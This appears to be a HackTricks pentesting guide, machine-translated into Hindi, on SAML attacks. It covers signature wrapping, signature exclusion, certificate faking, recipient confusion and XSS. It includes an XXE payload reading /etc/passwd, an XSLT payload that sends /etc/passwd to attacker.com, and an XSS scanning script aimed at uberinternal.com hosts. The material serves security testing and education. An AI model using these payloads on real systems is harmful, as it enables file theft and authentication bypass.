SAML Attacks

SAML हमले

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

pageSAML Basics

उपकरण

SAMLExtractor: एक उपकरण जो URL या URL सूची ले सकता है और SAML सीमा URL वापस प्रिंट कर सकता है।

XML राउंड-ट्रिप

XML में XML का हस्ताक्षरित हिस्सा मेमोरी में सहेजा जाता है, फिर कुछ इनकोडिंग/डिकोडिंग किया जाता है और हस्ताक्षर की जांच की जाती है। आदर्श रूप से उस इनकोडिंग/डिकोडिंग को डेटा नहीं बदलना चाहिए लेकिन उस स्थिति के आधार पर, जिस डेटा की जांच की जा रही है और मूल डेटा एक समान नहीं हो सकते

उदाहरण के लिए, निम्नलिखित कोड की जांच करें:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

यदि प्रोग्राम को REXML 3.2.4 या उससे पहले के संस्करण के खिलाफ चलाया जाए, तो निम्नलिखित आउटपुट प्राप्त होगा:

First child in original doc: Y
First child after round-trip: Z

यहाँ यह दिखाया गया है कि REXML ने उपरोक्त कार्यक्रम से मूल XML दस्तावेज़ को कैसे देखा:

और यह उसे पार्सिंग और सीरियलाइज़ेशन के एक दौर के बाद कैसे देखा:

इस विकल्प के बारे में अधिक जानकारी और इसे कैसे दुरुपयोग किया जा सकता है:

XML हस्ताक्षर लपेटन हमले

XML हस्ताक्षर लपेटन हमलों (XSW) में, प्रतिकूल एक भेदनशीलता का शोषण करते हैं जब XML दस्तावेज़ को दो विभिन्न चरणों के माध्यम से प्रसंस्कृत किया जाता है: हस्ताक्षर मान्यता और कार्य आह्वान। ये हमले XML दस्तावेज़ संरचना को बदलने का सम्मिलित करते हैं। विशेष रूप से, हमलवादी जाली तत्व डालता है जो XML हस्ताक्षर की मान्यता को खतरे में नहीं डालता। यह मानिकी उस अंतर्निहित संरचना को बनाने का उद्देश्य रखता है जिसे एप्लिकेशन तर्क द्वारा विश्लेषित किया जाता है और जिसे हस्ताक्षर सत्यापन मॉड्यूल द्वारा जांचा जाता है। इस परिणामस्वरूप, जबकि XML हस्ताक्षर तकनीकी रूप से मान्य है और सत्यापन पारित होता है, एप्लिकेशन तर्क जाली तत्व को प्रसंस्कृत करता है। इसके परिणामस्वरूप, हमलवाद वास्तव में XML हस्ताक्षर की अखंडता संरक्षण और मूल प्रमाणीकरण को छलकर गुजरता है, जिससे किसी भी सामग्री का जांच न किए बिना उत्पन्न हो सकता है।

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

उपकरण

आप बर्प एक्सटेंशन SAML रेडर का उपयोग करके SAML अनुरोध से POC उत्पन्न कर सकते हैं जिससे संभावित XXE जोखिम और SAML जोखिमों का परीक्षण कर सकते हैं।

इस टॉक को भी देखें: https://www.youtube.com/watch?v=WHn-6xHL7mI

SAML के माध्यम से XSLT

XSLT के बारे में अधिक जानकारी के लिए जाएं:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)

एक्सटेंसिबल स्टाइलशीट भाषा ट्रांसफॉर्मेशन (XSLT) का उपयोग XML दस्तावेज़ों को विभिन्न प्रारूपों में बदलने के लिए HTML, JSON, या PDF जैसे। यह महत्वपूर्ण है कि XSLT ट्रांसफॉर्मेशन डिजिटल हस्ताक्षर की सत्यापन से पहले किया जाता है। इसका मतलब है कि एक हमला सफल हो सकता है यदि एक वैध हस्ताक्षर न हो; एक स्व-साइन या अवैध हस्ताक्षर पर्याप्त है आगे बढ़ने के लिए।

यहाँ आप इस प्रकार की जोखिमों की जांच के लिए एक POC पा सकते हैं, इस खंड की शुरुआत में उल्लिखित हैकट्रिक्स पेज में आप पेलोड्स के लिए पा सकते हैं।

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

उपकरण

आप बर्प एक्सटेंशन SAML Raider का उपयोग करके SAML अनुरोध से POC उत्पन्न करने के लिए कर सकते हैं जिसे संभावित XSLT सुरक्षा दोषों की जांच के लिए परीक्षण के लिए किया जा सकता है।

इस टॉक को भी देखें: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML हस्ताक्षर अपवाद

XML हस्ताक्षर अपवाद यह देखता है कि SAML कार्यान्वयन का व्यवहार कैसा होता है जब हस्ताक्षर तत्व मौजूद नहीं होता है। यदि यह तत्व अनुपस्थित है, तो हस्ताक्षर सत्यापन संभव नहीं हो सकता, जिससे यह विकल्पनीय हो जाता है। इसे जांचने के लिए सामान्य रूप से हस्ताक्षर द्वारा सत्यापित किए जाने वाले सामग्री को बदलकर किया जा सकता है।

उपकरण

आप बर्प एक्सटेंशन SAML Raider का उपयोग कर सकते हैं। SAML प्रतिसाद को अंतर्दृष्टि करें और हस्ताक्षर हटाएं पर क्लिक करें। इस प्रक्रिया में सभी हस्ताक्षर तत्व हटा दिए जाते हैं।

हस्ताक्षरों को हटाने के बाद, अनुरोध को लक्ष्य की ओर बढ़ने दें। यदि सेवा द्वारा हस्ताक्षर की आवश्यकता नहीं है

प्रमाणपत्र फेकिंग

प्रमाणपत्र फेकिंग एक तकनीक है जिसका उपयोग किया जाता है ताकि एक सेवा प्रदाता (SP) सही ढंग से सत्यापित कर सके कि एक SAML संदेश एक विश्वसनीय पहचान प्रदाता (IdP) द्वारा हस्ताक्षित है। इसमें एक *स्व-हस्ताक्षर प्रमाणपत्र का उपयोग करना शामिल है जिसे SAML प्रतिसाद या दावा हस्ताक्षित करने में मदद मिलती है, जो SP और IdP के बीच विश्वसनीयता सत्यापन प्रक्रिया का मूल्यांकन करने में मदद करता है।

प्रमाणपत्र फेकिंग कैसे करें

निम्नलिखित चरण विवरणित करते हैं प्रक्रिया का उपयोग करके SAML Raider बर्प एक्सटेंशन:

  1. SAML प्रतिसाद को अंतर्दृष्टि करें।

  2. यदि प्रतिसाद में हस्ताक्षर है, तो सर्टिफिकेट को SAML Raider Certs को सेंड सर्टिफिकेट टू SAML Raider Certs बटन का उपयोग करके भेजें।

  3. SAML Raider Certificates टैब में, आयातित सर्टिफिकेट का चयन करें और सेव एंड सेल्फ-साइन पर क्लिक करें ताकि मूल सर्टिफिकेट का एक स्व-हस्ताक्षर क्लोन बनाया जा सके।

  4. बर्प के प्रॉक्सी में इंटरसेप्ट किए गए अनुरोध में वापस जाएं। XML हस्ताक्षर ड्रॉपडाउन से नया स्व-हस्ताक्षर सर्टिफिकेट चुनें।

  5. हस्ताक्षर हटाएं बटन के साथ किसी भी मौजूदा हस्ताक्षरों को हटाएं।

  6. नए सर्टिफिकेट के साथ संदेश या दावा को हस्ताक्षित करें (पुनः) संदेश हस्ताक्षित करें या (पुनः) दावा हस्ताक्षित करें बटन का उपयोग करके, जैसे उपयुक्त हो।

  7. हस्ताक्षित संदेश को आगे भेजें। सफल प्रमाणीकरण इसे सूचित करता है कि SP आपके स्व-हस्ताक्षर सर्टिफिकेट द्वारा हस्ताक्षित संदेश स्वीकार करता है, SAML संदेशों की मान्यता प्रक्रिया में संभावित दोषों को प्रकट करता है।

टोकन प्राप्तकर्ता भ्रांति / सेवा प्रदाता लक्ष्य भ्रांति

टोकन प्राप्तकर्ता भ्रांति और सेवा प्रदाता लक्ष्य भ्रांति में शामिल है कि सेवा प्रदाता सही ढंग से प्रतिक्रिया के इच्छित प्राप्तकर्ता की पुष्टि करता है। मूल रूप से, एक सेवा प्रदाता को एक अनुमानित प्रदाता के लिए एक प्रमाणीकरण प्रतिसाद को अस्वीकार करना चाहिए। यहाँ महत्वपूर्ण तत्व है प्राप्तकर्ता क्षेत्र, जो SAML प्रतिसाद के SubjectConfirmationData तत्व के भीतर पाया जाता है। इस क्षेत्र में एक URL निर्दिष्ट करता है जिससे दावा भेजा जाना चाहिए। यदि वास्तविक प्राप्तकर्ता इच्छित सेवा प्रदाता से मेल नहीं खाता है, तो दावा अमान्य माना जाना चाहिए।

कैसे काम करता है

एक SAML टोकन प्राप्तकर्ता भ्रांति (SAML-TRC) हमले के लिए कुछ शर्तों को पूरा करना आवश्यक है। पहले, एक सेवा प्रदाता पर एक वैध खाता होना चाहिए (जिसे SP-Legit कहा जाता है)। दूसरा, लक्षित सेवा प्रदाता (SP-Target) को उसी पहचान प्रदाता से टोकन स्वीकार करना चाहिए जो SP-Legit को सेवित करता है।

इन शर्तों के तहत हमले की प्रक्रिया सरल है। एक साझा पहचान प्रदाता के माध्यम से SP-Legit के साथ एक मान्य सत्र प्रारंभ किया जाता है। पहचान प्रदाता से SP-Legit के लिए SAML प्रतिसाद को अंतर्दृष्टि किया जाता है। इस अंतर्दृष्टि किए गए SAML प्रतिसाद को मूल रूप से SP-Legit के लिए निर्दिष्ट किया गया था, फिर इसे SP-Target की ओर पुनर्निर्देशित किया जाता है। इस हमले में सफलता SP-Target द्वारा दावा स्वीकार करने के द्वारा मापी जाती है, जिससे SP-Legit के लिए उपयोग किए गए खाता नाम के तहत संसाधनों तक पहुंच मिलती है।

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS में लॉगआउट कार्यक्षमता

मूल अनुसंधान को इस लिंक के माध्यम से एक्सेस किया जा सकता है।

निर्देशिका ब्रूट फोर्सिंग की प्रक्रिया के दौरान, एक लॉगआउट पृष्ठ का पता चला:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

इस लिंक तक पहुँचने पर, एक पुनर्निर्देशन हुआ:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

यह प्रकट करता है कि base पैरामीटर एक URL स्वीकार करता है। इसका ध्यान रखते हुए, एक विचार उत्पन्न हुआ कि URL को javascript:alert(123); के साथ प्रतिस्थापित किया जा सकता है जिससे XSS (क्रॉस-साइट स्क्रिप्टिंग) हमला प्रारंभ किया जा सकता है।

भारी उत्पीड़न

इस अनुसंधान से:

SAMLExtractor उपकरण का उपयोग uberinternal.com के उप-डोमेनों का विश्लेषण करने के लिए किया गया था जो एक ही पुस्तकालय का उपयोग कर रहे हैं। इसके बाद, एक स्क्रिप्ट विकसित किया गया था जो oidauth/prompt पृष्ठ को लक्ष्य बनाने के लिए था। यह स्क्रिप्ट डेटा दर्ज करके XSS (क्रॉस-साइट स्क्रिप्टिंग) की जांच करता है और यह देखने के लिए कि क्या यह परिणाम में प्रतिबिम्बित हो रहा है। जिन मामलों में इनपुट वास्तव में प्रतिबिम्बित हो रहा है, वहां स्क्रिप्ट पृष्ठ को भेद्य घोषित करता है।

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated